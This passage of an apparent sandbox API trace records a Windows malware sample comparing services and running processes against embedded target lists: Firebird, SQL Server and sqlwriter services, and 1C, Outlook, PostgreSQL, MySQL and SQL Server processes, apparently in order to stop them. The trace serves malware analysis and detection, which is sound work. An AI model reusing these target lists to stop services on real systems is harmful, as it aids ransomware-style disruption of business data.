(lpString="SENS") returned 4 [0089.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0089.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0089.463] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0089.463] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0089.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0089.463] lstrlenW (lpString="ShellHWDetection") returned 16 [0089.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.463] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0089.463] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0089.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0089.463] lstrlenW (lpString="Spooler") returned 7 [0089.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0089.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0089.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0089.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0089.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0089.463] lstrlenW (lpString="SysMain") returned 7 [0089.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0089.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0089.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0089.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0089.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0089.464] lstrlenW (lpString="Themes") returned 6 [0089.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0089.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0089.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0089.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0089.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0089.464] lstrlenW (lpString="TrkWks") returned 6 [0089.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0089.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0089.464] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0089.464] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0089.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0089.465] lstrlenW (lpString="UxSms") returned 5 [0089.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0089.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0089.465] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0089.465] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0089.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0089.465] lstrlenW (lpString="VSS") returned 3 [0089.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0089.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0089.465] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0089.465] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0089.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0089.467] lstrlenW (lpString="WdiServiceHost") returned 14 [0089.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0089.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0089.467] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0089.467] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0089.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0089.468] lstrlenW (lpString="WdiSystemHost") returned 13 [0089.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0089.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0089.468] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0089.468] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0089.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0089.468] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0089.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0089.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0089.468] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0089.468] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0089.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0089.468] lstrlenW (lpString="Winmgmt") returned 7 [0089.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0089.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0089.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0089.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0089.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0089.469] lstrlenW (lpString="WPDBusEnum") returned 10 [0089.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0089.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0089.469] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0089.469] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0089.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0089.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f84010 | out: hHeap=0x5d0000) returned 1 [0089.469] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0089.477] Process32FirstW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.478] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.479] lstrlenW (lpString="System") returned 6 [0089.479] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0089.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0089.479] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0089.479] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0089.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0089.479] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0089.479] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0089.479] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.481] lstrlenW (lpString="smss.exe") returned 8 [0089.481] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0089.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0089.482] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0089.482] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0089.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0089.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0089.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0089.482] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.484] lstrlenW (lpString="csrss.exe") returned 9 [0089.484] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0089.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0089.484] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0089.484] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0089.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0089.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0089.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0089.484] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.768] lstrlenW (lpString="wininit.exe") returned 11 [0089.768] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0089.768] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0089.769] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0089.769] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.770] lstrlenW (lpString="csrss.exe") returned 9 [0089.770] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.787] lstrlenW (lpString="winlogon.exe") returned 12 [0089.787] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.788] lstrlenW (lpString="services.exe") returned 12 [0089.789] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.790] lstrlenW (lpString="lsass.exe") returned 9 [0089.790] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0089.791] lstrlenW (lpString="lsm.exe") returned 7 [0089.791] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.792] lstrlenW (lpString="svchost.exe") returned 11 [0089.792] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.795] lstrlenW (lpString="svchost.exe") returned 11 [0089.795] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.796] lstrlenW (lpString="svchost.exe") returned 11 [0089.796] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.797] lstrlenW (lpString="svchost.exe") returned 11 [0089.797] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.798] lstrlenW (lpString="svchost.exe") returned 11 [0089.798] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.799] lstrlenW (lpString="audiodg.exe") returned 11 [0089.799] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.800] lstrlenW (lpString="svchost.exe") returned 11 [0089.800] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.800] lstrlenW (lpString="svchost.exe") returned 11 [0089.800] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.801] lstrlenW (lpString="dwm.exe") returned 7 [0089.801] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.802] lstrlenW (lpString="explorer.exe") returned 12 [0089.802] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.803] lstrlenW (lpString="spoolsv.exe") returned 11 [0089.803] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.804] lstrlenW (lpString="svchost.exe") returned 11 [0089.804] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0089.805] lstrlenW (lpString="taskhost.exe") returned 12 [0089.805] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0089.806] lstrlenW (lpString="taskeng.exe") returned 11 [0089.807] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0089.808] lstrlenW (lpString="developingthousands.exe") returned 23 [0089.808] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0089.811] lstrlenW (lpString="efattack.exe") returned 12 [0089.811] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0089.812] lstrlenW (lpString="feedback.exe") returned 12 [0089.812] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0089.813] lstrlenW (lpString="happy blond engage.exe") returned 22 [0089.813] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0089.814] lstrlenW (lpString="controller_type.exe") returned 19 [0089.814] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0089.815] lstrlenW (lpString="donations_berry.exe") returned 19 [0089.816] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0089.817] lstrlenW (lpString="lindsay.exe") returned 11 [0089.817] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0089.818] lstrlenW (lpString="columnists.exe") returned 14 [0089.818] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0089.819] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0089.819] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0089.821] lstrlenW (lpString="chose.exe") returned 9 [0089.821] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0089.920] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0089.920] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0089.921] lstrlenW (lpString="methods.exe") returned 11 [0089.922] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0089.923] lstrlenW (lpString="circulation.exe") returned 15 [0089.923] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0089.925] lstrlenW (lpString="suited.exe") returned 10 [0089.925] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0089.926] lstrlenW (lpString="infrastructure.exe") returned 18 [0089.926] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0089.927] lstrlenW (lpString="manager_olympic.exe") returned 19 [0089.927] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0089.928] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0089.928] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0089.929] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0089.930] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0089.931] lstrlenW (lpString="3dftp.exe") returned 9 [0089.931] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0089.932] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0089.932] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0089.933] lstrlenW (lpString="alftp.exe") returned 9 [0089.933] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0089.935] lstrlenW (lpString="barca.exe") returned 9 [0089.935] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0089.936] lstrlenW (lpString="bitkinex.exe") returned 12 [0089.936] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0089.937] lstrlenW (lpString="coreftp.exe") returned 11 [0089.937] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0089.938] lstrlenW (lpString="far.exe") returned 7 [0089.938] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0089.939] lstrlenW 